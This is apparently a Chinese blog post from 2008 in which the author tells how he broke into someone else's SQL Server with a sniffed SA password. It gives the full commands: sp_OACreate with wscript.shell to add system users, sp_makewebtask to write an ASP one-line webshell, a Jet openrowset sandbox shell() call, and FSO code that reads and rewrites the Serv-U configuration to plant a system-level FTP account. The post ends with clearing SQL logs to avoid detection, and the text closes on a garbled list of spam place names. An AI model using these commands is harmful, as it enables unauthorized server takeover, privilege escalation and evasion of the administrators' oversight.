用存儲過程搞定服務器

          前幾天在搞一個站的時候嗅到了一個SA密碼 但是用sql tool連上之后發現怎么也不能執行DOS命令
          郁悶了 今天突然想到可以用存儲過程來搞定這個服務器~
          首先在本地用sql server的查詢分析器連上他 權限當然是SA啦
          但是在執行exec master.dbo.xp_cmdshell'net user'的時候卻提示跟sql tool一樣的錯誤 看來xp_cmdshell確
          實不能用
          錯誤消息
          50001,級別 1,狀態 50001
          xpsql.cpp: 錯誤 5 來自 CreateProcess(第 737 行)
          可能是某個相關的DLL文件被刪除了
          如圖1



          看來xp_cmdshell是不能用鳥~ 不過偶們還有SP_OAcreate可以用 用SP_OAcreate一樣可以執行系統命令
          在查詢分析器里執行
          DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD
          @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add'
          這段代碼就是利用SP_OAcreate來添加一個gydyhook的系統用戶 然后直接提升為管理員權限就OK了
          提示命令完成成功 說明SP_OAcreate并沒有被刪除 我們用終端連一下
          如圖2
          圖3




          居然提示密碼錯誤?難道是wscript.shell被刪了?其實這里的判斷只是經驗而你 你要問我怎么判斷服務器是
          做了密碼策略還是wscript.shell被刪 我只能告訴你這是經驗而已
          雖然wscript.shell被刪了 但是我們還是有FSO嘛。 先試著列下目錄 找到WEB目錄搞個SHELL再說
          使用exec master.dbo.xp_subdirs 'c:\'來查看C盤的目錄 發現完全可以列目錄
          列目錄沒問題了 然后偶查看D盤的時候發現有D:\web這個目錄 隨便找一個網站在IE里打看發現存在這個網站
          然后列出來幾個目錄發現這個網站還有ewebeditor 不過偶們今天不用他 因為有SA嘛 也不用去備份了 直接寫
          個一句話進去
          語句如下
          exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
          exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '
          提示命令執行成功偶們看看效果
          如圖4
          如圖5



          看來小馬寫進去鳥~ 一點沒問題 剩下的就是寫入大馬啦 然后提權之~ 哈哈 但是意想不到的事情又發生了
          NND竟然不讓我傳大馬 我日 提示ADODB.Stream 錯誤 '800a0bbc' 寫入文件失敗。 然后換了N個目錄都寫不進

          然后我又列出來其他的目錄寫小馬進去 但是都傳不了大馬 看來管理員把整個WEB目錄都設置成了只讀
          如圖6


          NND我都有SA了還不信搞不定這個服務器 差點忘記了還可以用沙盤 嘿嘿 看來一著急腦子就亂
          查詢分析器里執行select * from openrowset('microsoft.jet.oledb.4.0','
          ;database=c:\windows\system32\ias\ias.mdb',
          'select shell("cmd.exe /c net user admin admin1234 /add")')來利用沙盤來添加個管理員 但是事實告訴
          我 我的RP并不好
          如圖7


          既然沙盤也不行 那就另尋出路吧
          剛才列目錄的時候好象看見了Serv-U6.3 但是使用exec master.dbo.xp_subdirs 'd:\Serv-U6.3'的時候發現看
          不到文件夾里的內容 不過沒關系~ 偶們不是有一句話么。雖然沒有寫的權限 但是讀的權限總改有吧 直接在
          一句話里查看目錄就OK了 雖然能看目錄 但是用ASP馬,也不能讀出SERV——U配置文件來 看來還得用存儲過程
          如圖8

          既然找到了SU的目錄那偶就想能不能利用一句話寫配置信息到ServUDaemon.ini里 然后利用SU來提權 但是事實
          證明這個破站權限太牛X了 只能看不能寫 不過沒關系 偶們還可以利用存儲過程
          嘿嘿 使用declare @o int, @f int, @t int, @ret int
          declare @line varchar(8000)
          exec sp_oacreate 'scripting.filesystemobject', @o out
          exec sp_oamethod @o, 'opentextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
          exec @ret = sp_oamethod @f, 'readline', @line out
          while( @ret = 0 )
          begin
          print @line
          exec @ret = sp_oamethod @f, 'readline', @line out
          end
          這段代碼就可以把ServUDaemon.ini里的配置信息全部顯示出來 嘿嘿 既然能看了那偶門不是一樣可以寫進去?
          直接寫一個系統權限的FTP帳號 進去
          使用declare @o int, @f int, @t int, @ret int
          exec sp_oacreate 'scripting.filesystemobject', @o out
          exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1
          exec @ret = sp_oamethod @f, 'writeline', NULL, 《這里添寫自己寫好的SU配置信息 剛才復制的那些都要
          寫上去》
          然后執行一下 成功執行 我們再用存儲過程看看寫進去沒有
          如圖9


          OK 我XXXXXX 成功寫進去了一個用戶名為XXXX密碼為空的系統權限的FTP 然后偶們在FTP里執行
          quote siteXXXXXXX 提權就好了。 這里已經很熟悉了 就不寫了。~ 然后用3389連一下 成功地到服務器權限
          然后偶們再用set nocount on
          declare @logicalfilename sysname,
          @maxminutes int,
          @newsize int 來清理掉SQL日志 免的被管理員發現
          整個的提權過程大部分都是用存儲過程來完成的。其實這些東西在以前提權的時候都沒有想到。
          感覺這個思路很不錯 所以寫出來 各位大牛見笑了

          posted on 2008-04-13 10:46 金家寶 閱讀(675) 評論(1)  編輯  收藏 所屬分類: Mysql

          評論

          # re: 用存儲過程搞定服務器 2014-10-27 08:52 粽子

          臥槽,樓主你搞的這個服務器怎么和我的差不多啊  回復  更多評論   

          主站蜘蛛池模板: 屯门区| 会东县| 青田县| 于都县| 凤台县| 江西省| 平武县| 东乡族自治县| 盱眙县| 禹城市| 什邡市| 称多县| 锡林郭勒盟| 沙坪坝区| 从江县| 湘乡市| 灵宝市| 都昌县| 西乌珠穆沁旗| 成武县| 陈巴尔虎旗| 商城县| 阿拉善右旗| 达尔| 民县| 阿克| 衡阳市| 通道| 正阳县| 喀什市| 青浦区| 博罗县| 德令哈市| 武宁县| 扶绥县| 宣武区| 怀安县| 西乌珠穆沁旗| 宣恩县| 东山县| 广安市|